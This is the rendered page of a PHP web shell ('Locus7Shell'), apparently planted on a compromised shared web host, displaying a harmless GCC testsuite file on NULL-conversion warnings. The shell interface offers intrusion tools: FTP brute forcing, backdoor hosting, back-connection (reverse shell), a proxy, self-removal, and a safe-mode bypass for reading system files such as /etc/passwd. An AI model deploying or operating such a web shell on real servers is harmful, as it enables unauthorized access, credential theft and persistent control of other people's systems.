Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wconversion-null-2.C (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do link  }
// { dg-options "" }

#include <cstddef>

void g(int) {}
void g(long) {}
void g(long long) {}
#ifdef __MSP430X_LARGE__
void g(__int20) {}
#endif
extern void g(void*);

template <int I>
void h() {}

void k(int) {}

template <class T>
void l(T);

template <>
void l(int) {}

template <>
void l(long) {}

template <>
void l(long long) {}

#ifdef __MSP430X_LARGE__
template <>
void l(__int20) {}
#endif

void warn_for_NULL()
{
  int i = NULL; // { dg-warning "" } converting NULL to non-pointer type
  float z = NULL; // { dg-warning "" } converting NULL to non-pointer type
  int a[2];

  i != NULL; // { dg-warning "" } NULL used in arithmetic
  NULL != z; // { dg-warning "" } NULL used in arithmetic
  k != NULL; // No warning: decay conversion
  NULL != a; // Likewise.
  -NULL;     // { dg-warning "" } converting NULL to non-pointer type
  +NULL;     // { dg-warning "" } converting NULL to non-pointer type
  ~NULL;     // { dg-warning "" } converting NULL to non-pointer type
  a[NULL] = 3; // { dg-warning "" } converting NULL to non-pointer-type
  i = NULL;  // { dg-warning "" } converting NULL to non-pointer type
  z = NULL;  // { dg-warning "" } converting NULL to non-pointer type
  k(NULL);   // { dg-warning "" } converting NULL to int
  g(NULL);   // { dg-warning "" } converting NULL to int
  h<NULL>(); // No warning: NULL bound to integer template parameter
  l(NULL);   // No warning: NULL is used to implicitly instantiate the template
  NULL && NULL; // No warning: converting NULL to bool is OK
}

void warn_for___null()
{
  int i = __null; // { dg-warning "" } converting __null to non-pointer type
  float z = __null; // { dg-warning "" } converting __null to non-pointer type
  int a[2];

  i != __null; // { dg-warning "" } __null used in arithmetic
  __null != z; // { dg-warning "" } __null used in arithmetic
  k != __null; // No warning: decay conversion
  __null != a; // Likewise.
  -__null;     // { dg-warning "" } converting __null to non-pointer type
  +__null;     // { dg-warning "" } converting __null to non-pointer type
  ~__null;     // { dg-warning "" } converting __null to non-pointer type
  a[__null] = 3; // { dg-warning "" } converting __null to non-pointer-type
  i = __null;  // { dg-warning "" } converting __null to non-pointer type
  z = __null;  // { dg-warning "" } converting __null to non-pointer type
  k(__null);   // { dg-warning "" } converting __null to int
  g(__null);   // { dg-warning "" } converting __null to int
  h<__null>(); // No warning: __null bound to integer template parameter
  l(__null);   // No warning: __null is used to implicitly instantiate the template
  __null && __null; // No warning: converting NULL to bool is OK
}

int main()
{
  warn_for_NULL();
  warn_for___null();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--